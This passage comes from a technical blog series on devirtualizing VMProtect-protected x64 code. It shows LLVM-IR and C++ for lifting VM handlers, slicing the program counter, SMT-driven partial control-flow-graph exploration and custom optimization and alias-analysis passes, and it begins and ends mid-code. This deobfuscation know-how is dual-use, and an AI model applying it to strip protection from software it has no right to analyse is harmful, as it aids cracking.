%sub.i.i66 = add i64 %1, -16
%arrayidx.i.i67 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %sub.i.i66
%value.addr.0.arrayidx.sroa_cast.i.i68 = bitcast i8* %arrayidx.i.i67 to i64*
%qword.i62 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %vmregs, i64 1, i32 0, i32 0
store i64 %2, i64* %qword.i62, align 1
%3 = load i64, i64* @__undef, align 8
%qword.i55 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %vmregs, i64 0, i32 0, i32 0
store i64 %0, i64* %qword.i55, align 1
%add.i32.i = add i64 %2, %0
%cmp.i.i.i.i = icmp ult i64 %add.i32.i, %2
%cmp1.i.i.i.i = icmp ult i64 %add.i32.i, %0
%4 = or i1 %cmp.i.i.i.i, %cmp1.i.i.i.i
%conv.i.i.i.i = trunc i64 %add.i32.i to i32
%conv.i.i.i.i.i = and i32 %conv.i.i.i.i, 255
%5 = tail call i32 @llvm.ctpop.i32(i32 %conv.i.i.i.i.i)
%xor.i.i28.i.i = xor i64 %2, %0
%xor1.i.i.i.i = xor i64 %xor.i.i28.i.i, %add.i32.i
%and.i.i.i.i = and i64 %xor1.i.i.i.i, 16
%cmp.i.i27.i.i = icmp eq i64 %add.i32.i, 0
%shr.i.i.i.i = lshr i64 %2, 63
%shr1.i.i.i.i = lshr i64 %0, 63
%shr2.i.i.i.i = lshr i64 %add.i32.i, 63
%xor.i.i.i.i = xor i64 %shr2.i.i.i.i, %shr.i.i.i.i
%xor3.i.i.i.i = xor i64 %shr2.i.i.i.i, %shr1.i.i.i.i
%add.i.i.i.i = add nuw nsw i64 %xor.i.i.i.i, %xor3.i.i.i.i
%cmp.i.i25.i.i = icmp eq i64 %add.i.i.i.i, 2
%conv.i.i.i = zext i1 %4 to i64
%6 = shl nuw nsw i32 %5, 2
%7 = and i32 %6, 4
%8 = xor i32 %7, 4
%9 = zext i32 %8 to i64
%shl22.i.i.i = select i1 %cmp.i.i27.i.i, i64 64, i64 0
%10 = lshr i64 %add.i32.i, 56
%11 = and i64 %10, 128
%shl34.i.i.i = select i1 %cmp.i.i25.i.i, i64 2048, i64 0
%or6.i.i.i = or i64 %11, %shl22.i.i.i
%and13.i.i.i = or i64 %or6.i.i.i, %and.i.i.i.i
%or17.i.i.i = or i64 %and13.i.i.i, %conv.i.i.i
%and25.i.i.i = or i64 %or17.i.i.i, %shl34.i.i.i
%or29.i.i.i = or i64 %and25.i.i.i, %9
%qword.i36 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %vmregs, i64 2, i32 0, i32 0
store i64 %or29.i.i.i, i64* %qword.i36, align 1
store i64 %3, i64* %value.addr.0.arrayidx.sroa_cast.i.i68, align 1
%qword.i = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %vmregs, i64 3, i32 0, i32 0
store i64 %add.i32.i, i64* %qword.i, align 1
store i64 %3, i64* %value.addr.0.arrayidx.sroa_cast.i.i, align 1
store i64 %add.i32.i, i64* %rax, align 8
%12 = load i64, i64* %vip, align 8
ret i64 %12
}
The LLVM-IR of the HelperStub
function with inlined and optimized calls to the handlers
The last snippet is representing all the semantic computations related with a VmBlock
, as described in the high level overview. Although, if the code we lifted is capturing the whole semantics related with a VmStub
, we can wrap the HelperStub
function with the HelperFunction
function, which enforces the liveness properties described in the Liveness and aliasing information section, enabling us to obtain only the computations updating the host execution context:
extern "C" size_t SimpleExample_HelperFunction(
rptr rax, rptr rbx, rptr rcx,
rptr rdx, rptr rsi, rptr rdi,
rptr rbp, rptr rsp, rptr r8,
rptr r9, rptr r10, rptr r11,
rptr r12, rptr r13, rptr r14,
rptr r15, rptr flags, size_t KEY_STUB,
size_t RET_ADDR, size_t REL_ADDR) {
// Allocate the temporary virtual registers
VirtualRegister vmregs[30] = {0};
// Allocate the temporary passing slots
size_t slots[30] = {0};
// Initialize the virtual registers
size_t vsp = rsp;
size_t vip = 0;
// Force the relocation address to 0
REL_ADDR = 0;
// Execute the virtualized code
vip = SimpleExample_HelperStub(
rax, rbx, rcx, rdx, rsi, rdi,
rbp, rsp, r8, r9, r10, r11,
r12, r13, r14, r15, flags,
KEY_STUB, RET_ADDR, REL_ADDR,
vsp, vip, vmregs, slots);
// Return the next address(es)
return vip;
}
The C++ HelperFunction
function with the call to the HelperStub
function and the relevant stack frame allocations.
define dso_local i64 @SimpleExample_HelperFunction(i64* noalias nocapture nonnull align 8 dereferenceable(8) %rax, i64* noalias nocapture nonnull readonly align 8 dereferenceable(8) %rbx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rcx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rdx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rsi, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rdi, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rbp, i64* noalias nocapture nonnull readonly align 8 dereferenceable(8) %rsp, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r8, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r9, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r10, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r11, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r12, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r13, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r14, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r15, i64* noalias nocapture nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) local_unnamed_addr {
entry:
%0 = load i64, i64* %rax, align 8
%1 = load i64, i64* %rbx, align 8
%add.i32.i.i = add i64 %1, %0
store i64 %add.i32.i.i, i64* %rax, align 8
ret i64 0
}
The LLVM-IR HelperFunction
function with fully optimized code.
It can be seen that the example is just pushing the values of the registers rax
and rbx
, loading them in vmregs[0]
and vmregs[1]
respectively, pushing the VmRegisters
on the stack, adding them together, popping the updated flags in vmregs[2]
, popping the addition’s result to vmregs[3]
and finally pushing vmregs[3]
on the stack to be popped in the rax
register at the end. The liveness of the values of the VmRegisters
ends with the end of the function, hence the updated flags saved in vmregs[2]
won’t be reflected on the host execution context. Looking at the final snippet we can see that the semantics of the code have been successfully obtained.
In Part 2 we’ll put the described structures and helpers to good use, digging into the details of the virtualized CFG exploration and introducing the basics of the LLVM optimization pipeline.
]]>Slicing a symbolic expression to be able to evaluate it, throw it at an SMT solver or match it against some pattern is something extremely common in all symbolic reasoning tools. Luckily for us this capability is trivial to implement with yet another C++ helper function. This technique has been referred to as Poor man’s slicer in the SATURN paper, hence the title of the section.
In the VMProtect context we are mainly interested in slicing one expression: the next program counter. We want to do that either while exploring the single VmBlocks
(that, once connected, form a VmStub
) or while exploring the VmStubs
(that, once connected, form a VmFunction
). The following C++ code is meant to keep only the computations related to the final value of the virtual instruction pointer at the end of a VmBlock
or VmStub
:
extern "C"
size_t HelperSlicePC(
size_t rax, size_t rbx, size_t rcx, size_t rdx, size_t rsi,
size_t rdi, size_t rbp, size_t rsp, size_t r8, size_t r9,
size_t r10, size_t r11, size_t r12, size_t r13, size_t r14,
size_t r15, size_t flags,
size_t KEY_STUB, size_t RET_ADDR, size_t REL_ADDR)
{
// Allocate the temporary virtual registers
VirtualRegister vmregs[30] = {0};
// Allocate the temporary passing slots
size_t slots[30] = {0};
// Initialize the virtual registers
size_t vsp = rsp;
size_t vip = 0;
// Force the relocation address to 0
REL_ADDR = 0;
// Execute the virtualized code
vip = HelperStub(
rax, rbx, rcx, rdx, rsi, rdi,
rbp, rsp, r8, r9, r10, r11,
r12, r13, r14, r15, flags,
KEY_STUB, RET_ADDR, REL_ADDR,
vsp, vip, vmregs, slots);
// Return the sliced program counter
return vip;
}
The acute observer will notice that the function definition is basically identical to the HelperFunction
definition given before, with the fundamental difference that the arguments are passed by value and therefore useful if related to the computation of the sliced expression, but with their liveness scope ending at the end of the function, which guarantees that there won’t be store operations to the host context that could possibly bloat the code.
The steps to use the above helper function are:
HelperSlicePC
is cloned into a new throwaway function;HelperStub
function is swapped with a call to the VmBlock
or VmStub
of which we want to slice the final instruction pointer;HelperSlicePC
function;HelperSlicePC
function resulting in the slicing of the final instruction pointer expression as a side-effect of the optimizations.The following LLVM-IR snippet shows the idea in action, resulting in the final optimized function where the condition and edges of the conditional branch are clearly visible.
define dso_local i64 @HelperSlicePC(i64 %rax, i64 %rbx, i64 %rcx, i64 %rdx, i64 %rsi, i64 %rdi, i64 %rbp, i64 %rsp, i64 %r8, i64 %r9, i64 %r10, i64 %r11, i64 %r12, i64 %r13, i64 %r14, i64 %r15, i64 %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) #5 {
%1 = call { i32, i32, i32, i32 } asm " xchgq %rbx,${1:q}\0A cpuid\0A xchgq %rbx,${1:q}", "={ax},=r,={cx},={dx},0,~{dirflag},~{fpsr},~{flags}"(i32 1) #4, !srcloc !9
%2 = extractvalue { i32, i32, i32, i32 } %1, 0
%3 = and i32 %2, 4080
%4 = icmp eq i32 %3, 4064
%5 = select i1 %4, i64 5371013457, i64 5371013227
ret i64 %5
}
In the following section we’ll see how variations of this technique are used to explore the virtualized control flow graph, solve the conditional branches, and recover the switch cases.
The exploration of a virtualized control flow graph can be done in different ways and usually protectors like VMProtect or Themida show a distinctive shape that can be pattern-matched with ease, simplified and parsed to obtain the outgoing edges of a conditional block.
The logic used by different VMProtect conditional jump versions has been detailed in the past, so in this section we are going to delve into an SMT-driven algorithm based on the incremental construction of the explored control flow graph and specifically built on top of the slicing logic explained in the previous section.
Given the generic nature of the detailed algorithm, nothing stops it from being used on other protectors. The usual catch is obviously caused by protections embedding hard to solve constraints that may hinder the automated solving phase, but the construction and propagation of the partial CFG constraints and expressions could still be useful in practice to pull out less automated exploration algorithms, or to identify and simplify anti-dynamic symbolic execution tricks (e.g. dummy loops leading to path explosion that could be simplified by LLVM’s loop optimization passes or custom user passes).
A partial control flow graph is a control flow graph built connecting the currently explored basic blocks given the known edges between them. The idea behind building it, is that each time that we explore a new basic block, we gather new outgoing edges that could lead to new unexplored basic blocks, or even to known basic blocks. Every new edge between two blocks is therefore adding information to the entire control flow graph and we could actually propagate new useful constraints and values to enable stronger optimizations, possibly easing the solving of the conditional branches or even changing a known branch from unconditional to conditional.
Let’s look at two motivating examples of why building a partial CFG may be a good idea to be able to replicate the kind of reasoning usually implemented by symbolic execution tools, with the addition of useful built-in LLVM passes.
Consider the following partial control flow graph, where blue represents the VmBlock
that has just been processed, orange the unprocessed VmBlock
and purple the VmBlock
of interest for the example.
Let’s assume we just solved the outgoing edges for the basic block A
, obtaining two connections leading to the new basic blocks B
and C
. Now assume that we sliced the branch condition of the sole basic block B
, obtaining an access into a constant array with a 64 bits symbolic index. Enumerating all the valid indices may be a non-trivial task, so we may want to restrict the search using known constraints on the symbolic index that, if present, are most likely going to come from the chain(s) of predecessor(s) of the basic block B
.
To draw a symbolic execution parallel, this is the case where we want to collect the path constraints from a certain number of predecessors (e.g. we may want to incrementally harvest the constraints, because sometimes the needed constraint is locally near to the basic block we are solving) and chain them to be fed to an SMT solver to execute a successful enumeration of the valid indices.
Tools like Souper automatically harvest the set of path constraints while slicing an expression, so building the partial control flow graph and feeding it to Souper may be sufficient for the task. Additionally, with the LLVM API to walk the predecessors of a basic block it’s also quite easy to obtain the set of needed constraints and, when available, we may also take advantage of known-to-be-true conditions provided by the llvm.assume intrinsic.
Consider the following partial control flow graph, where blue represents the VmBlock
that has just been processed, orange the unprocessed VmBlocks
, purple the VmBlock
of interest for the example, dashed red arrows the edges of interest for the example and the solid green arrow an edge that has just been processed.
Let’s assume we just solved the outgoing edges for the basic block E
, obtaining two connections leading to a new block G
and a known block B
. In this case we know that we detected a jump to the previously visited block B
(edge in green), which is basically forming a loop chain (B
→ C
→ E
→ B
) and we know that starting from B
we can reach two edges (B
→ C
and D
→ F
, marked in dashed red) that are currently known as unconditional, but that, given the newly obtained edge E
→ B
, may not be anymore and therefore will need to be proved again. Building a new partial control flow graph including all the newly discovered basic block connections and slicing the branch of the blocks B
and D
may now show them as conditional.
As a real world case, when dealing with concolic execution approaches, the one mentioned above is the usual pattern that arises with index-based loops, starting with a known concrete index and running till the index reaches an upper or lower bound N
. During the first N-1
executions the tool would take the same path and only at the iteration N
the other path would be explored. That’s the reason why concolic and symbolic execution tools attempt to build heuristics or use techniques like state-merging to avoid running into path explosion issues (or at best executing the loop N
times).
Building the partial CFG with LLVM instead, would mark the loop back edge as unconditional the first time, but building it again, including the knowledge of the newly discovered back edge, would immediately reveal the loop pattern. The outcome is that LLVM would now be able to apply its loop analysis passes, the user would be able to use the API to build ad-hoc LoopPass passes to handle special obfuscation applied to the loop components (e.g. encoded loop variant/invariant) or the SMT solvers would be able to treat newly created Phi nodes at the merge points as symbolic variables.
The following LLVM-IR snippet shows the sliced partial control flow graphs obtained during the exploration of the virtualized assembly snippet presented below.
start:
mov rax, 2000
mov rbx, 0
loop:
inc rbx
cmp rbx, rax
jne loop
The original assembly snippet.
define dso_local i64 @FirstSlice(i64 %rax, i64 %rbx, i64 %rcx, i64 %rdx, i64 %rsi, i64 %rdi, i64 %rbp, i64 %rsp, i64 %r8, i64 %r9, i64 %r10, i64 %r11, i64 %r12, i64 %r13, i64 %r14, i64 %r15, i64 %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
%1 = call i64 @HelperKeepPC(i64 5369464257)
ret i64 %1
}
The first partial CFG obtained during the exploration phase
define dso_local i64 @SecondSlice(i64 %rax, i64 %rbx, i64 %rcx, i64 %rdx, i64 %rsi, i64 %rdi, i64 %rbp, i64 %rsp, i64 %r8, i64 %r9, i64 %r10, i64 %r11, i64 %r12, i64 %r13, i64 %r14, i64 %r15, i64 %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
br label %1
1: ; preds = %1, %0
%2 = phi i64 [ 0, %0 ], [ %3, %1 ]
%3 = add i64 %2, 1
%4 = icmp eq i64 %2, 1999
%5 = select i1 %4, i64 5369183207, i64 5369464257
%6 = call i64 @HelperKeepPC(i64 %5)
%7 = icmp eq i64 %6, 5369464257
br i1 %7, label %1, label %8
8: ; preds = %1
ret i64 233496237
}
The second partial CFG obtained during the exploration phase. The block 8
is returning the dummy 0xdeaddead
(233496237
) value, meaning that the VmBlock
instructions haven’t been lifted yet.
define dso_local i64 @F_0x14000101f_NoLoopOpt(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
br label %1
1: ; preds = %1, %0
%2 = phi i64 [ 0, %0 ], [ %3, %1 ]
%3 = add i64 %2, 1
%4 = icmp eq i64 %2, 1999
br i1 %4, label %5, label %1
5: ; preds = %1
store i64 %3, i64* %rbx, align 8
store i64 2000, i64* %rax, align 8
ret i64 5368713281
}
The final CFG obtained at the completion of the exploration phase.
define dso_local i64 @F_0x14000101f_WithLoopOpt(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
store i64 2000, i64* %rbx, align 8
store i64 2000, i64* %rax, align 8
ret i64 5368713281
}
The loop-optimized final CFG obtained at the completion of the exploration phase.
The FirstSlice
function shows that a single unconditional branch has been detected, identifying the bytecode address 0x1400B85C1 (5369464257), this is because there’s no knowledge of the back edge and the comparison would be cmp 1, 2000. The SecondSlice
function instead shows that a conditional branch has been detected selecting between the bytecode addresses 0x140073BE7 (5369183207) and 0x1400B85C1 (5369464257). The comparison is now done with a symbolic PHINode. The F_0x14000101f_WithLoopOpt
and F_0x14000101f_NoLoopOpt
functions show the fully devirtualized code with and without loop optimizations applied.
Given the knowledge obtained from the motivating examples, the pseudocode for the automated partial CFG driven exploration is the following:
We initialize the algorithm creating:
stack
of addresses of VmBlocks
to explore, referred to as Worklist
;set
of addresses of explored VmBlocks
, referred to as Explored
;set
of addresses of VmBlocks
to reprove, referred to as Reprove
;map
of known edges between the VmBlocks
, referred to as Edges
.VmBlock
into the Worklist
;VmBlock
to explore, we lift it to LLVM-IR if met for the first time, we build the partial CFG using the knowledge from the Edges
map and we slice the branch condition of the current VmBlock
. Finally we feed the branch condition to Souper, which will process the expression harvesting the needed constraints and converting it to an SMT query. We can then send the query to an SMT solver, asking for the valid solutions, incrementally rejecting the known solutions up to some limit (worst case) or till all the solutions have been found.Once we obtained the outgoing edges for the current VmBlock
, we can proceed with updating the maps and sets:
VmBlock
; if it is, we verify if this connection was previously known. If unknown, it means we found a new predecessor for a known VmBlock
and we proceed with adding the addresses of all the VmBlocks
reachable by the known VmBlock
to the Reprove
set and removing them from the Explored
set; to speed things up, we can eventually skip each VmBlock
known to be firmly unconditional;Edges
map with the newly solved edges.Worklist
is empty. If it isn’t, we jump back to step 3. If it is, we populate it with all the addresses in the Reprove
set, clearing it in the process and jumping back to step 3. If also the Reprove
set is empty, it means we explored the whole CFG and eventually reproved all the VmBlocks
that obtained new predecessors during the exploration phase.As mentioned at the start of the section, there are many ways to explore a virtualized CFG and using an SMT-driven solution may generalize most of the steps. Obviously, it brings its own set of issues (e.g. hard to solve constraints), so one could eventually fall back to the pattern matching based solution at need. As expected, the pattern matching based solution would also blindly explore unreachable paths at times, so a mixed solution could really offer the best CFG coverage.
The pseudocode presented in this section is a simplified version of the partial CFG based exploration algorithm used by SATURN at this point in time, streamlined from a set of reasonings that are unnecessary while exploring a CFG virtualized by VMProtect.
So far we hinted at the underlying usage of LLVM’s optimization and analysis passes multiple times through the sections, so we can finally take a look at: how they fit in, their configuration and their limitations.
Running the whole -O3
pipeline may not always be the best idea, because we may want to use only a subset of passes, instead of wasting cycles on passes that we know a priori don’t have any effect on the lifted LLVM-IR code. Additionally, by default, LLVM is providing a chain of optimizations which is executed once, is meant to optimize non-obfuscated code and should be as efficient as possible.
Although, in our case, we have different needs and want to be able to:
LLVM provides a FunctionPassManager class to craft our own pipeline, using LLVM’s passes and custom passes. The following C++ snippet shows how we can add a mix of passes that will be executed in order until there won’t be any more changes or until a threshold will be reached:
void optimizeFunction(llvm::Function *F, OptimizationGuide &G) {
// Fetch the Module
auto *M = F->getParent();
// Create the function pass manager
llvm::legacy::FunctionPassManager FPM(M);
// Initialize the pipeline
llvm::PassManagerBuilder PMB;
PMB.OptLevel = 3;
PMB.SizeLevel = 2;
PMB.RerollLoops = false;
PMB.SLPVectorize = false;
PMB.LoopVectorize = false;
PMB.Inliner = createFunctionInliningPass();
// Add the alias analysis passes
FPM.add(createCFLSteensAAWrapperPass());
FPM.add(createCFLAndersAAWrapperPass());
FPM.add(createTypeBasedAAWrapperPass());
FPM.add(createScopedNoAliasAAWrapperPass());
// Add some useful LLVM passes
FPM.add(createCFGSimplificationPass());
FPM.add(createSROAPass());
FPM.add(createEarlyCSEPass());
// Add a custom pass here
if (G.RunCustomPass1)
FPM.add(createCustomPass1(G));
FPM.add(createInstructionCombiningPass());
FPM.add(createCFGSimplificationPass());
// Add a custom pass here
if (G.RunCustomPass2)
FPM.add(createCustomPass2(G));
FPM.add(createGVNHoistPass());
FPM.add(createGVNSinkPass());
FPM.add(createDeadStoreEliminationPass());
FPM.add(createInstructionCombiningPass());
FPM.add(createCFGSimplificationPass());
// Execute the pipeline
size_t minInsCount = F->getInstructionCount();
size_t pipExeCount = 0;
FPM.doInitialization();
do {
// Reset the IR changed flag
G.HasChanged = false;
// Run the optimizations
FPM.run(*F);
// Check if the function changed
size_t curInsCount = F->getInstructionCount();
if (curInsCount < minInsCount) {
minInsCount = curInsCount;
G.HasChanged |= true;
}
// Increment the execution count
pipExeCount++;
} while (G.HasChanged && pipExeCount < 5);
FPM.doFinalization();
}
The OptimizationGuide
structure can be used to pass information to the custom passes and control the execution of the pipeline.
As previously stated, the LLVM default pipeline is meant to be as efficient as possible, therefore it’s configured with a tradeoff between efficiency and efficacy in mind. While devirtualizing big functions it’s not uncommon to see the effects of the stricter configurations employed by default. But an example is worth a thousand words.
In the Godbolt UI we can see on the left a snippet of LLVM-IR code that is storing i32 values at increasing indices of a global array named arr. The store
at line 96, writing the value 91 at arr[1], is a bit special because it is fully overwriting the store
at line 6, writing the value 1 at arr[1]. If we look at the upper right result, we see that the DSE
pass was applied, but somehow it didn’t do its job of removing the dead store
at line 6. If we look at the bottom right result instead, we see that the DSE
pass managed to achieve its goal and successfully killed the dead store
at line 6. The reason for the difference is entirely associated to a conservative configuration of the DSE
pass, which by default (at the time of writing), is walking up to 90 MemorySSA definitions before deciding that a store is not killing another post-dominated store
. Setting the MemorySSAUpwardsStepLimit to a higher value (e.g. 100 in the example) is definitely something that we want to do while deobfuscating some code.
Each pass that we are going to add to the custom pipeline is going to have configurations that may be giving suboptimal deobfuscation results, so it’s a good idea to check their C++ implementation and figure out if tweaking some of the options may improve the output.
When tweaking some configurations is not giving the expected results, we may have to dig deeper into the implementation of a pass to understand if something is hindering its job, or roll up our sleeves and develop a custom LLVM pass. Some examples on why digging into a pass implementation may lead to fruitful improvements follow.
While looking at some devirtualized code, I noticed some clearly-dead stores that weren’t removed by the DSE
pass, even though the tweaked configurations were enabled. A minimal example of the problem, its explanation and solution are provided in the following diffs: D96979, D97155. The bottom line is that the IsGuarenteedLoopInvariant
function used by the DSE
and MSSA
passes was not using the safe assumption that a pointer computed in the entry block is, by design, guaranteed to be loop invariant as the entry block of a Function is guaranteed to have no predecessors and not to be part of a loop.
While looking at some devirtualized code that was accessing memory slots of different sizes, I noticed some clearly-dead stores that weren’t removed by the DSE
pass, even though the tweaked configurations were enabled. A minimal example of the problem, its explanation and solution are provided in the following diff: D97676. The bottom line is that while computing the partially overlapping memory stores, the DSE
was considering only memory slots with the same base address, ignoring fully overlapping stores offsetted between each other. The solution is making use of another patch which is providing information about the offsets of the memory slots: D93529.
And obviously there is no two without three! Nah, just kidding, a patch I wanted to get accepted to simplify one of the recurring patterns in the computation of the VMProtect conditional branches has been on pause because InstCombine is an extremely complex piece of code and additions to it, especially if related to uncommon patterns, are unwelcome and seen as possibly bloating and slowing down the entire pipeline. Additional information on the pattern and the reasons that hinder its folding are available in the following differential: D84664. Nothing stops us from maintaining our own version of InstCombine
as a custom pass, with ad-hoc patterns specifically selected for the obfuscation under analysis.
In Part 3 we’ll have a look at a list of custom passes necessary to reach a superior output quality. Then, some words will be spent on the handling of the unsupported instructions and on the recompilation process. Last but not least, the output of 6 devirtualized functions, with varying code constructs, will be shown.
]]>This section will give an overview of some custom passes meant to:
This pass falls under the category of the VMProtect specific optimization problems and is probably the most delicate of the section, as it may be feeding LLVM with unsafe assumptions. The aliasing information described in the Liveness and aliasing information section will finally come in handy. In fact, the goal of the pass is to identify the type of two pointers and determine if they can be deemed as not aliasing with one another.
With the structures defined in the previous sections, LLVM is already able to infer that two pointers derived from the following sources don’t alias with one another:
VmRegisters
VmPassingSlots
GS
zero-sized arrayFS
zero-sized arrayRAM
zero-sized array (with constant index)RAM
zero-sized array (with symbolic index)Additionally LLVM can also discern between pointers with RAM
base using a simple symbolic index. For example an access to [rsp - 0x10]
(local stack slot) will be considered as NoAlias
when compared with an access to [rsp + 0x10]
(incoming stack argument).
But LLVM’s alias analysis passes fall short when handling pointers using as base the RAM
array and employing a more convoluted symbolic index, and the reason for the shortcoming is entirely related to the lack of type and context information that got lost during the compilation to binary.
The pass is inspired by existing implementations (1, 2, 3) that are basing their checks on the identification of pointers belonging to different segments and address spaces.
Slicing the symbolic index used in a RAM
array access we can discern with high confidence between the following additional NoAlias
memory accesses:
[rsp]
or [rsp + positive_constant_offset + symbolic_offset]
), a dereferenced general purpose register ([rax]
) or a nested dereference (val1 = [rax]
, val2 = [val1]
); identified as TyIND
in the code;[rsp - positive_constant_offset + symbolic_offset]
; identified as TySS
in the code;[rsp - positive_constant_offset + phi_index]
; identified as TyARR
in the code.If the pointer type cannot be reliably detected, an unknown type (identified as TyUNK
in the code) is being used, and the comparison between the pointers is automatically skipped. If the pass cannot return a NoAlias
result, the query is passed back to the default alias analysis pipeline.
One could argue that the pass is not really needed, as it is unlikely that the propagation of the sensitive information we need to successfully explore the virtualized CFG is hindered by aliasing issues. In fact, the computation of a conditional branch at the end of a VmBlock
is guaranteed not to be hindered by a symbolic memory store happening before the jump VmHandler
accesses the branch destination. But there are some cases where VMProtect pushes the address of the next VmStub
in one of the first VmBlocks
, doing memory stores in between and accessing the pushed value only in one or more VmExits
. That could be a case where discerning between a local stack slot and an indirect access enables the propagation of the pushed address.
Irregardless of the aforementioned issue, that can be solved with some ad-hoc store-to-load
detection logic, playing around with the alias analysis information that can be fed to LLVM could make the devirtualized code more readable. We have to keep in mind that there may be edge cases where the original code is breaking our assumptions, so having at least a vague idea of the involved pointers accessed at runtime could give us more confidence or force us to err on the safe side, relying solely on the built-in LLVM alias analysis passes.
The assembly snippet shown below has been devirtualized with and without adding the SegmentsAA
pass to the pipeline. If we are sure that at runtime, before the push rax
instruction, rcx
doesn’t contain the value rsp - 8
(extremely unexpected on benign code), we can safely enable the SegmentsAA
pass and obtain a cleaner output.
start:
push rax
mov qword ptr [rsp], 1
mov qword ptr [rcx], 2
pop rax
The assembly code writing to two possibly aliasing memory slots
define dso_local i64 @F_0x14000101f(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) #2 {
%1 = load i64, i64* %rcx, align 8, !alias.scope !22, !noalias !27
%2 = inttoptr i64 %1 to i64*
store i64 2, i64* %2, align 1, !noalias !65
store i64 1, i64* %rax, align 8, !tbaa !4, !alias.scope !66, !noalias !67
ret i64 5368713278
}
The devirtualized code with the SegmentsAA
pass added to the pipeline, with the assumption that rcx
differs from rsp - 8
define dso_local i64 @F_0x14000101f(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) #2 {
%1 = load i64, i64* %rsp, align 8, !tbaa !4, !alias.scope !22, !noalias !27
%2 = add i64 %1, -8
%3 = load i64, i64* %rcx, align 8, !alias.scope !65, !noalias !66
%4 = inttoptr i64 %2 to i64*
